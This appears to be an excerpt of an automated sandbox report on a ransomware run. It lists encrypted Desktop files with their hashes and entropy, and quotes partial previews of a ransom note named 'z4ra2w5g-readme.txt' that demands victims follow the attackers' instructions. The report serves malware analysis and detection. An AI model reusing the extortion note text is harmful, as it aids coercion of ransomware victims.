                        SSDEEP:24:oPAm93eXsZcGwscmUiLLguFvtTOXtuVuPxgV3ttJydYBDqKVrJLauutrb:ocXstlNtLLguJtqA4gN7gaoKBgb
                        MD5:14E85260E9D83FD1DFB790118CFBCFEE
                        SHA1:2E82660AD00FF1167775DA9ACA0A58771698DA8F
                        SHA-256:1FE293E1B6789578D7208B0318795D97B075FA2519F37B4C725A1228018D4544
                        SHA-512:007627354B64CC8EC2D12BF6B33D83E1798B703E6480B6B8CB9EF3419805910052BD9075E8CCB59C2ED5328F690E6F415CFB20E2A8C99DA0B0A1C48C51A39964
                        Malicious:false
                        Preview: ..'...1D..x..k.9%..$5|.k.cu.-.%.~.....l.{'.._.....G.a....'...N.DhT..,A$...o..q..'.jo.v.....'...r...>.....5....|.v...o......M8.T4..V;m..E. .P...`....R.^......i....{....e.._.....h.....1(..{=...&..H.e.|1..B.dh.7.W..y+.....7H.2R......2iM..U%*..Mcl...#...m$I.`.......r..EU.?.p...$..~.S..K.G|.9C.x.}.ne...;.6..f....E?.......'.^u..7..Q.....R|^ ....b...vR].aE...A..Y0.......V.....xXF5J..{...t+.\.8V...H..".C.^"...I........%..9.7...2%..'.......0..l..:...M....@.:i9..f8....2.. ...&n..."..n'.[...\..d..ve.,..W........?.5.].^.....p....T..V.".1.....M....W...0.1.)..az.NoF..bj.L*..t.kH.........3..s.ll.ivv8.C)^90.EX.K)....&}...\.......Fyz4[..........'......9.<.5w.`x......4.....9Ze.Q.rT.z..B..T.........y]...'....a...a.Z.{.....w.."....qZz....QT....|.7rg.^...NM..[-.S..E..;:n6....m..0...$...(..Ig"..b..=..s.$T......C.z..:g...n.0... ..........a..=TB..b_l)"..P...Kr2..$/7...ZgY.M...'FyU3.{.J=.........g.....4....K.*......Q.....Z...^.. YkE}....e..
                        C:\Users\user\Desktop\GNLQNHOLWB.docx
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.849972617192274
                        Encrypted:false
                        SSDEEP:24:euSDvCgmmiJUki8iopLQyjxPq8k65gqPsYR1jWUkAEvuutrkmVU:eTLCgmni3opLQy1q8k6bEYR1qDA8e
                        MD5:0807DCA4A49506183B4FD3B0D8E40661
                        SHA1:7441A19D4F0CD9FC67D089EF9CA58D3466BD5B11
                        SHA-256:F1AED13A5110F89EFB5B65DF241A02AFFB82009B9E9F9167975BDC980BA547D2
                        SHA-512:A0A4C925F6D1035B70791F8469A3465C8314FB13D186C4D940A0D2A23DA3E70B347A7B9977EE1EA50BE9F03BEE0434662473D6FC4045065C09FBFAB09398E3A3
                        Malicious:false
                        Preview: ...Z..%..JDR.....6.Z...6.u...,i..Z...8..6.*......@.`..x..5r.7..Yq.S.......\....`.Vb6'.a.....R.....3....5.!....*.`L.........J|e.......bB.NY..C......u...A...F...B)......VC....x.h... 8m.W...... .y...P].>.9"`.y.....ru'.rq..1z_D....r...`._#)..._'..J..4z:S..v&..q..?!..^I}..x?f.....kIm=.X`a..j....D.B..%........g+:...D......4.-&L_...H..YLZ...yV.b....)h.p..@Wv8.....#...)..c...{..,..H.[..k......j.d.......z'P...v..b.....R9...}...FF:.)7.'....bA|..fs..n~.O.[.....K...X8.=<..hp..)......<v9".[.c,%.+Z(..].....O/......Z..~.....&.....1.X..e%.?q.@ ".:.+..@...\...Z.....(..Z.u..'.g..5...".(.fe..]G.p88B.....w*.......`c.[5{.{....x?x....>....fN..q.....[~&B.e.....@.X..|=Ai.>....ZR...^.i......ol.~. .e0v].YY..N..;?....ni.H..8[....v.EC........6W.+..:n^..=.H.$s,....n'6...8..oMn])WKqf....b..tH.......W.oy.x.Uiw..%J. ..|..F...2....?..I.{.M.......p..b].tE.MQ.c......23.O...!.....}...<.]....V..4-HC.....Z..+...C.rN............O..@..........?0D...X....V.m..rJ\nh.M.6.~...
                        C:\Users\user\Desktop\GNLQNHOLWB.xlsx
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.849593120732565
                        Encrypted:false
                        SSDEEP:24:HMvfWAdRzhSR0cq+Te94EDLMGhDGlatiLRwKuutrZX:gt5a0X4EP/EtFx
                        MD5:021B96AA5D4AC975AC33AD5A89318AE6
                        SHA1:82ADEB34C7465EE6D4336673D66FF538D1B39FD0
                        SHA-256:C4CC16A5535EEEDE7FE3F7155CB1B3B669486368F95DFABBCDF7CC10529E97CC
                        SHA-512:28565E88F9D6A7153528020471914BD7799EC9143B8B9432ED0F4CEA63136A75F36B2A1372976FBD6E10D5CB52666023DD77AEE55B7BB254373E920EEA4EF03E
                        Malicious:false
                        Preview: .=Y..fp>.....H&...>..Q....-.jD.4.f.w...i'....is...$.g.....n....#...65a.W..y.@?&..t.1|..N`%.$.1U...ae|.A.+'...t..<.I..&}....i.=...^.3.,.0.?b..).VH.D..x..s.........kbQ9..7.g.........RN)..w.8Be.'....'/...;..L...;./.M".....n.......gqsfi........5..K.....d.i1.[.EpmH.C.y.y..^X.f.A...v.I?%..H..R...t.-O*...=....(.@Y..8[.....}?Z....4.~..b.......*.Q...B.".Q...N...(..9Y.c..|..+U..F..].!..3...+.......(...m<A.G.5[..csPi.......2.....u.MG7.[...@_KJ..3....].uX..J.=O.%.^A..W...#D|.:.T_%?5..Wo..F2L.(.../...}q.,;../.m.e..g$9..p/....O43....X..K..oZ....J.9...jmX..y.n...;..j...m....u...b+.C..I..v..+9.O....Y.Jxl.b~.7....d......1{.0..7.o2..xllMW%2..q.(P..P..W..Zz'..-.i...M..."...j...@.dR>>...W..nA.....H..v.Dj.F..........i...y...4-.3..9i..W..ed....7..../L.0.}.p...........p71..K.R._C@.>R..t.s..Pd.4T...CXQ..7.9......x...Y.......V....|v...t..... ...q.3j.d...g.D.r..]...u..<.<N.5...bV.A...0..8..R]...5,....s....W.....H.Ed..:&......,G....]....*J@.u.(...e.cu...s.Ha5.,.
                        C:\Users\user\Desktop\GNLQNHOLWB\BUFZSQPCOH.xlsx
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.851232615103616
                        Encrypted:false
                        SSDEEP:24:HEgwj/Lgh1rCdQZ4R6HzEfKHAuwv/LGGpFZYHdnuGDRKiy/8dpuutrP:HmLe1rUFRC2hv/Lh7WRhvP
                        MD5:E657918B1201E4F52BAAD5B7E02EA648
                        SHA1:6E987427AE98FCF0813A6B335AF4A0D8BFD0E1BD
                        SHA-256:87FCB51698248BA84C6D49C4D45904C7E468E4010F1CBF993FD775B0EE94AB05
                        SHA-512:AE1D7346EBDCA46DE0C79165702EA5FE9B8CA1229F410A6A583F9B2A3A9340638312A5D0AF2A49CCC176F612BF810357F4BD034BC98C6EE1CD14DCCB66CB5129
                        Malicious:false
                        Preview: t>.Nl.^.[.......~s..i'.(.N...t..W.M.....:.0.`...9.|AI..T...Y..,.7.c.....;..5M...z..q8..:.....$x..:..P......'..|:...c{......xZ./.t.....XP...K.Q].[.~^..0.U.ATq....].Id.....m.A.E..x..!...._5..1...^....n...3....><...|.-.?jZ.=K)..G.g.Y~.....2.}.OI...U..K..z]..c....i4z.../Q..m..C.G..X.:..k..U.qJ..^+.1..tE.[A...x.......).&..X...D.....;.>.....)^./X..3;........N...c...:.2....+aK.....W@g.%8j.ai.|....[.*..."..)..g....A..7..S.....E....<M.]...vqP9[W.J.....@...|..8....x..z&:..)..3.w.f...~o.......|....+1...K...R.s..P.8|.......pil..%..\.....A....=U.n.a....^9...........H..l|.3Y._....z...L.r..x.......L1......X..R..k.Q..a;4._..4ly....z..d..&xjL.....=...)j....C.7..NR.R<.|,Ym..D.W...&z..z,U.2h&..bM.H./=.)._.M.....eG.2......8@.Yb|..uzh.{b..o.A.Xt..!.~J.It.ax.9....#...w.-.,i......^..*pOz2.cz..:..f.\W.i.}.n*../2k*....T....+N"..........x-<.V.u..... ..{.....-Z.l.Q.u..8.(..n5./.I..O.WOGIN2@S.}.U..v+.....e]g..W>.(lO..1.&d..K...%jr.!^/f..8....?..=. ....#....%...
                        C:\Users\user\Desktop\GNLQNHOLWB\BWETZDQDIB.jpg
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.853857791122457
                        Encrypted:false
                        SSDEEP:24:ki+2pOzfRAlBxMSDsNAlkeYmdinoldgp+zbv34G9uutrJJ:hOexDyGknzqdgp+HvnDX
                        MD5:9C934FA4B02B044A10411B244D8019D3
                        SHA1:4F5F3FE031EE001B614A9C79244863744F8D3E7A
                        SHA-256:437AB7CB90F014ED41A5E81E371BF7E9B8CB49741681A306AEFEC655E9C3797F
                        SHA-512:8CE94B3848876779887B9B5FA234F98B339DC52BD3FA94BF40D70B21FD634786A2EBFA41BC3BD0E41F6560A75CA1DD7C71B08CE999BDFEEA66782274862436D1
                        Malicious:false
                        Preview: ..';Q.'l.F..Ux....Y....e.S.I.....kFc.xX.......|j.}.S...T....yY:.I...a...%.7\.O...'..n..+..F......5K.A..|C....z. h...$..^Y......9S..t."...=,.(.E<CkP...Q.....<....j.U[)...ta)....H...]...tJ.{....Whp.K..n........c.b...T8.?.i5......".^.Yagu.'6.o.....Z..y.z..Y>....6....Y..{..KI..}..1f}..rW...6....P.....o...5.<L...k)y...?B.....5.qK.P..L.......G..s.f.8.......K..B.k.~Z...B.\:..d.O.......*..D.."m....S...Tg...M..N...`%..p.....C3.#...7.#...?Bbk..w.L.=<...Z....u..^.t..O...u...5,s._.h.?.. 4.!....../.p...D....@....."2g...n..k..79..!.' ...4yv.j.{.#q.yL.ku..a.5.Tg..U.p.3.."1.t.C.p]......2..^6ul@R...'\.v{,../..1_..j...;w.9L..y...,.hI*.@..5.YW'..-...8y-.ml.%.H+Xq.L....p.\...9..c.M......V... %M......T..(A......gt..wQ..m..s..5.O.....0{...m_n.U...}..K.~3...LU.:..........rt..l......0@.u!..bB..gnU.t+j.3...E!.i\.... 01.o...:l...'^...l...`.S|B..G..Mu...Ak$.."*..Fwb>hB4h...lIT.t%;430.8b.$W....,!..=DE7..HK....~....O..:_~@%..]..2C..W.:EM...X...........
                        C:\Users\user\Desktop\GNLQNHOLWB\FAAGWHBVUU.pdf
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.838521669455329
                        Encrypted:false
                        SSDEEP:24:zaQ8nUkQba100w7OMporALX+hgs9lIH07bxXtiuutr22W:N8ndz00w7OJAShgs92H4FXtI2z
                        MD5:9D6B67E63DEFF0D1B416E3EE179018E6
                        SHA1:9540EA7666E7C87CF22A3A6A9A7550780AFBFD54
                        SHA-256:58546844F6198FADA11E040B4A2144466303C2EAED454E6C6E503565F8D267D7
                        SHA-512:8F5488E614B775DEE0FBB4CC2025ADC1746B02BEF6BE25E689D747F8CC818878839AA65897A7FC6560DF0BFFF300A06E7C6A0201613BC5C2908178759C5E5DCA
                        Malicious:false
                        Preview: .L.:......<.j,.........e.A.v7..C......AgL)(...6.u.4.{.......I.>..tmb.;...*.....{>..`.iC...2...".2g.....@o`...U./.M.GF...}F...>K...T.o.....?..Y.['...-..8>&h.J..:.W.g...4;...i.......`.O.............k....z.x..L@.WdiA.+..U...R.E....}..C..c./..p..E...#C..E/$..zO.l.I....G...*:T.<.5....n.g&.j.T.#h.PY..>.Mzb.Z.YP.xCOE..........?..........ya.9.j$?.Q.~.".3....n..u+.(P^u..p./Q..?..r.P.i......1gm^.....<.%-...a..'.K...L.^.......N.B..'P.X.J-....n!.?....-`0..mY...i.?..T...'6O......V.Z..D..}G..u...q.fg..s3.....F.........B.M)@.....p%......N..PU.GA..E.E'(.0......s....g....d..;.@.e..x..%.....L..g6.Ng.....4u.$.".ep[YH,}<}.*`nA....z...V...#..G....^.a...98......W.(.mq..?Z...l 2.....c.Yk...m.&..!.......SG...5.k.5..EFd.7.s.g..5.[.O#...F..'.cx......../....E5W.Ym.x..q6..;<8.u.(.....?..\........Y....u_.q.L7...lh..=...P....KR.B.....a.....m..(Mm..5.U....d.....`.._.y.G..i.,.v:4.!.n...w...~\F..."o.p.D(......o;{3...$.gP. .@...z...Z...zOQ..>TD...vA..PD...~....T.6
                        C:\Users\user\Desktop\GNLQNHOLWB\GJBHWQDROJ.png
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.862387841248518
                        Encrypted:false
                        SSDEEP:24:METOpJHBXhTZPi8oPed5NhQB7Cgfln/iqh2zEaouutrKF:MQOpJhX5x2PCjQBh/BheEFKF
                        MD5:4707B555A620BBD2DE6FBF37E2F53BC6
                        SHA1:3FC87F2A787E78EF903D84384010FD9866B5FFAA
                        SHA-256:5A86C17D60EC50DEB470E03D3ADAFB2FE1614A11D09EDBA63944BA757B4310D7
                        SHA-512:44B249ED1001138B2FB5F8E9F57A1754E456653FF56EDB02BB6484DEE36ADFE33A3EA6D29724B402DEEDBC3ADABCD09716773A64616C1A4FFA6A0FD49E04B564
                        Malicious:false
                        Preview: .w....oB.tq....|.5.p7..c.a. ...sg>.z..L.7...$......v...E[..... .d.=.'`.8_..q2....BPQZm,....u.^..l.9HL.Z|w.q...y}_- 4..?.&Y.f.../=I.....hbs....p8.wh.%<U.~....I....=\.{c..MTn.F7\..s.w@. n.. ...........<......mbt#~.f."X.)s........."..e.S.....zI.I.Lz...I.?....r..~Tk...u.u...l..... ..qo7.r._X.a....h...Dy+.>.Oc&..&#N8..o.rW.W.HR.Rr.P...6^.>?4.m....:6...({..)..D4.kIR..b!......V...'....*.s..gV..:....j.....8+..s;0p.... 9..y..l((5.f......).`.XN..\..n]....E.Zp./.,..l.qf..Y.&*.....3.....,...d..q..._\...3....o]S.=.z.r...lP..G..t_2.5X...`.pr.S....q.P.....:....".s.i!.3b..0.1...-.$....m..b.w......8...)...B<..EK.d...+.....Yq4=.n.<..L....,.5..M.1~Q~i.`...]...b.5.vuL.....%.e..7.:Z4.z.9..W7G.J.&._.km..[:d... ... .?...g....$.{...`.%..".....B4...*.Y.g.F..n....>G.A...s.\..[.).6...Rz.j..b+'....S.......s^..e...S.B\...2+( ....U.E!8..,}..d0.3Z>.Nh\b.S.^%.o.|...m.`..i...p.....{hqv3...0Df....9....0^u.~.k.a..l[.{.A..P.q...n..pQU..K.......731...y......bQ);.N..)...G.c
                        C:\Users\user\Desktop\GNLQNHOLWB\GNLQNHOLWB.docx
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.813060497950302
                        Encrypted:false
                        SSDEEP:24:gPY/pzDgw7LjpUYdyrJVY+ciCf19WLOIAsjHET8/M1JHXvDruutry:gPSD9LjpUfS/rbIAsjHWXXvD1y
                        MD5:2863E9178B3508916489AD033DF996F9
                        SHA1:CD8023495FB531DBF722965409F2DE4A02EE7EC4
                        SHA-256:A62696F9399AFB6C4B9878A160DD642F946475FF6FFEDB8C51617E3FAF5836C8
                        SHA-512:6F4EB254CB92D4E944C18D7C6B24636145466BF0EF1F2D5E91D3CE413E6B555164830EDF1A835DCA578726C42CAB34CD6C6DEF04491548C823EAF10149D13027
                        Malicious:false
                        Preview: Ej..!B..'.3.f.{.&..Y:.5...c....)..u.._....,.1~...........>~.........g.E1aD.....b.......(.e...0...s..m..-I#...=...*..<....t<m.Q.3?..(...l..5.n.Q..#-gZ.kL.cv..QH$.$..X.......}Ue..z.Gr......k..7kSqE........^L.er24..i.-.<-....k..*y.....k........d. }..T{N1h..e.~J....hT../..x.y..1(9.......A....S..m...8v<T.....=..2dz.M.u.(m..#2.%.I..WGb..,.hYU.....}...d....<#...0..*..a.....|O.EE...|..!a.;..."G.y..0.....(Knm..Lx....".n....~.h.e.........i.V.......rI..f..h.....7/....+.U..}=.'.....kp...$....Ttk6.w..6.T.%.X0..=+...$s.-...~7v.T<.eG.G....6JL.......Z...O.........o.E-}......-..D..i$i....U.a.h.i.B..<....$.7Qshhvi.V.Te...4G....g"`8[.k5.D....~2!..7r..N.W.V9......&&.A{\...S. ....L....u.T........Uv..y.Px.%......e...)z/@.".X....f%.-.F.bi[?.x......q^f..2\T..v.(.^.kR..}.j.c....v..w6)..D.W..W=......../.........S>.|..%....I.y.Ie.@...^..>./$+.lP...Cp..".8.R..E.....%..)..y)7...3..{..*.......AZ.-.q.....z.D-t.....?..2.1.w.....f.[.Z..]P'.....'.....<<.O.G(}
                        C:\Users\user\Desktop\GNLQNHOLWB\WDBWCPEFJW.mp3
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.8630107198888215
                        Encrypted:false
                        SSDEEP:24:vIh7K4JYJbdYVNpab3suW52jHX2SHgvPJl2Ug7/JL/EDgnYuutrsN:ELYJGVN0b9j32niam
                        MD5:3D774DB939A6778E7D4618E851DEB804
                        SHA1:8CE092F41E14BD71F2D41E989499E1CDCAF17798
                        SHA-256:A25429E176B1B9D6CA71AD23752AF17BDC384489BAC06A768F9AEC106A86A670
                        SHA-512:3E35632563050340121BC879820E7009654A2347B559E8D331C12342BC4C0CDB0D506B8A7BE7E39860AF205A7ACF1B5AB17255D53E99847301B0A38E654F512E
                        Malicious:false
                        Preview: o..w.'r....0...}.p^U.N>H....2...I..S...).....yo.<.I;.0W?.V...Z.@.O...8.^.s.yH{Oe...T!..>Ytc.Htm.).X....w.....:.p......).~...M.......v..".C..........W.E.G...#ol.#u\..3...C....A.>~...4....._.`&5..X,-....d..,S;Q....m..aA.u\.i...s..;..t...3z....fzg........a...YW.D&/.:....N\..IB..fF..N:H$\.j.#..7.,..7ZoQ.+...(~.....3.Bv3......8W.H.|...........A....`.e.....P.@.....vP..A......:wE...s.Hz...5b........t..0....l.C....2gH@4.0...:....PN=xS..dG+[.-V.lk....S.[.E.B.|...G...e.).th..R\N...zS......(.......]& .9....W.E,.i6.B.Y.p....$J..->.,N..d.......>Nk..x.z...8.KE..4..M2......r~...r....=.c^.../.....e....r2....e.#A..$..]L....*......M.e..$C..u.X.\....s.K|i~...'O...s.*q..i5..?....%..#j..~..j..bc.6...........g@..W+ai..b..M."..w...q.._.?...2..T*O1h%..Z...l.7...|#x.!(..D..8s..$.N.R..qG......m.D.'0Z.....n..0.'.A..y....Y.z.T/w!./....d$.......B.D.].o...)1Sc.{.c...;.Z....D.&..Mk...`.&.3.E...Pg<.lO.z.G?.....3z$..#_.n..J....!.B.].H..{&m=.V/..t.....1...R....^).
                        C:\Users\user\Desktop\GNLQNHOLWB\z4ra2w5g-readme.txt
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):6928
                        Entropy (8bit):3.8723818356503363
                        Encrypted:false
                        SSDEEP:192:oHLyQ3jjZUu5jGN42sTKthBLvJbyDycD8hc:iSuau2sTEhBrJb+ycD8hc
                        MD5:F8E45B4CB92153FBFB52B8DA885CA1DE
                        SHA1:8F741D58CFB91E43D7E9F156D1008593DE73C6E3
                        SHA-256:D15544EB68334A39D904CFB0C020E848FD38D2F49DDDB9E172EF26F59DDD998E
                        SHA-512:4B1819E4E67535BE656905CF1BD0E90108352FFE27D32F0591E58FD8DE92F211C52FC631FF1A8DD04B035C104448A8D31C43821E91F21D3F2615FEE1D0934EC7
                        Malicious:false
                        Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .z.4.r.a.2.w.5.g.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.
                        C:\Users\user\Desktop\HYGZTMOBZN\z4ra2w5g-readme.txt
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):6928
                        Entropy (8bit):3.8723818356503363
                        Encrypted:false
                        SSDEEP:192:oHLyQ3jjZUu5jGN42sTKthBLvJbyDycD8hc:iSuau2sTEhBrJb+ycD8hc
                        MD5:F8E45B4CB92153FBFB52B8DA885CA1DE
                        SHA1:8F741D58CFB91E43D7E9F156D1008593DE73C6E3
                        SHA-256:D15544EB68334A39D904CFB0C020E848FD38D2F49DDDB9E172EF26F59DDD998E
                        SHA-512:4B1819E4E67535BE656905CF1BD0E90108352FFE27D32F0591E58FD8DE92F211C52FC631FF1A8DD04B035C104448A8D31C43821E91F21D3F2615FEE1D0934EC7
                        Malicious:false
                        Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .z.4.r.a.2.w.5.g.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.
                        C:\Users\user\Desktop\IZMFBFKMEB.docx
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.836014894567983
                        Encrypted:false
                        SSDEEP:24:O4kzt45FBI8YfX6uUvf/Zfbwl4J6Tb7wmYuutrvK7I9:O4FfuUnRfbk4J6Tb7wm6yU9
                        MD5:5C5007798F9C3D0AF877095A74B486EF
                        SHA1:01DD96CFE5137019D282DE2B15667C16ED471183
                        SHA-256:69202D8E02BA91BAB8B135167E22818B54058E36CAE4AF1F37D10E125F70485D
                        SHA-512:4D77DF7542A4333AC85A2FEA6E2464C0D3FF5F6B3717B5DC1771BC696ED84579B08951BFDFF385060C4ED32FE0BB052964F659AEDB06483F33EB7ADC3CD0BE3B
                        Malicious:false
                        Preview: .kd.......as..{.M;..b0...3.....:0f.6.jA1i.qY......\......&.t..@..0..)..$...K...0...>.....R...L..1:.$2.K...e....3T,..16.........G`1J..Cn.....|.....:5Up.<.l'.R%...>0.z....s...i...\.Q!....a.l.D.yv.n..~...9.s=.T.....>.....DX..</.....X....w...'l4..r.A......G}..$....Y[..ze..$a.71....f......).D.c........C.21.8....N...E..XP.....YFjU..^...tX<f....f.....oU.xe.r.p.T.|7.!...7.@.9.-1.I#xo.g......W.xG.sU.T...t...8@.[......k.BJk8..D.]`7y.....S.(...M.g.....4........t.......|\Z..). <....".0@....;......c......(......A;...B...n9l........q.P..Y.L.=...h.....26V..!.U.A.R?.T..<....&..o-.....\..2...P}.S.*..I. ..(.,.PJ.....V..|.jB{..y.^^p}..Jz...W..x.g[.6$...z.V....*..Vs.$..nxA.....e....=jZ.7=..x.zF....#......2.0.M../..D..8I..4.m.Q.z...j....z.'....%..t;.\..C.0.8.N9.....v.....S.5...U.Y.!......8....!...f..,.E.D.....EAN.(.t.xy....yy.$.J........'....O...n.w`.f.4....L.'..cE.-.&.4..M..Lg......b.X....z_j.6..^=...+3.+...cT`....}..*..Q.z.....s=.<.1.k.Fd...V[..-..
                        C:\Users\user\Desktop\IZMFBFKMEB\BUFZSQPCOH.jpg
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.844609816281185
                        Encrypted:false
                        SSDEEP:24:KJjEJ241QYOvciKzRR8a3molfPcxTYBA+JI+EIEIOs5uutrAN:KJjEh1QYWQRKa37WsaF+3Ebeg
                        MD5:D468E70E5F55ED54EEDD599B08047768
                        SHA1:398E9D7529F7653F0215A6C8C3C305D0C95AEEEB
                        SHA-256:5FA89346F2983AC3CC9B96AC4F58470BD42EF6DD5B5B29E13AB2A75DBB8B7084
                        SHA-512:41348E80C9F38FA28997C173EC2232B002BB746007D493D6B5934079D29E540E056E3686257E763AB2913861F2D0249B90F78163856FE5F26CC60D455285892E
                        Malicious:false
                        Preview: 0...s.e0\....o.;..N....W0...W(.0i.....9........$`(........n../...v.*.^K...d.n......;x.(m...4......0...w.....D.~..y2..(...j}..:M.. ..u.&...2.S.0.Z..H..fB...,.0.L.z.....(....aJ.D..{..T./.....j...G.EzL.l. ]z.......&...........+89..@...Yt>..@.......H57.At=g...&6.....3.E.k..P4..P...q..N/.].....e...s?...aX..J..}...".e....=.t.y....Q.h...? I.&.r...}a...E.fAAe.....:!...&....w].,J{......^.L.2..UA1...SJ.m.ff..55..6e...K..n..A....*.....C8.fk...\.,..2.T..3~.{........@>-..>.I......]E...n.D........D5..*.7.h.q.Y..p'..'......7.Y..8...q...s&/..2..8CIR..s......9.=)]q.Z...Ll.=I.6....._...mj.`.-u....C....K..SPA.O#-.un?.;$.[GLQ.q.6D]..c..\1....Q.H.........^@.&\...8.....H..%$...L).;...kn...$6B...nO:)..i....d..3..o...$-.r!........-.[N..R.......hX.b5..B(j.M%...{..MZ\.......R+..$.O.&.g..a...mJ.!7tv..l.JDz..i....gm..m.......w85...J..3...(Eh.....N....ur.D.R)..Vn.F....l4P......A......<...-j.8...A."....Zb.O.......:_....;Y...!E..~....S4....V..M..3......\.
                        C:\Users\user\Desktop\IZMFBFKMEB\BWDRWEEARI.pdf
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.838859058367471
                        Encrypted:false
                        SSDEEP:24:2Fh1c8taz4LyK8UzMXxAyU35wdBMg7qdofWymXybuutr32i:qw8taz4LMXTquOriGi
                        MD5:F2D5257F867C3EFC6D94D96C6810DE47
                        SHA1:19DE2BBEBCD2AA06A0DC318C9DA5604B891FB3FA
                        SHA-256:017D4D1392B7C6C603D97EF541A6E2ADBDA412986378A356E09B17FC40F077BD
                        SHA-512:5CE7FB8196DFB44DCB7B1D14F2C92240C4A1EF63E37DA1F017A41CBAEFFC275828D7A6D6D57E3B320EB1623FB7BEBB1659602D0BCE8A0CE5F0760EFF487BCBD9
                        Malicious:false
                        Preview: .HR....n8t.........i&$.D...i.r.>4.%.kZAx..U...[X;8.y..l.....d#B.{..%?...w..#.} ......g>.Vb../t....5..8..._g9..A..v..KJ.cce...].......&.:.H..5............`...q..Z..z..a.TQBl..<.......I%....t.....Q.;i..n/....o-q.q.....L.'.C....'.k.K.5.D.,..A.B.T]..K...r....R..84.jd...;8......$qd.P..h.VFW..R.%..S..+Sr...$.5.K...I.X.....}.q...N+YZ..G q?......).&.L.....h.(..6=.M...o_..d.|...K#..jg....XH ..J.Z...8Lfd.LNZ.*b..c..U.Aa0...I.Z..GpD..g*...Eb ...\.g.....k...T...?@.u.....u`...f8W\z.>......X..m..,..l'.=...O..;Qd.Q..++...w.X.u...........CG...'R.....W..^.W.u..!p..H.}9@....O7..W./.7.........@O3...V.A.1..jq...4..Z|%..\......C..].K..WM>........6.7A.....c...)...0.5.~B..F.s7...<.|....Xkb.......U.W......X..p..q.....b.(Z.....q.S1....|..W..0}..Ci.GY.4X.QF.#...L..!i..W.{?.!.9.=+..5$.S......g'{./.....<O...].!s...!......Z...L...{.6.o1B$4F 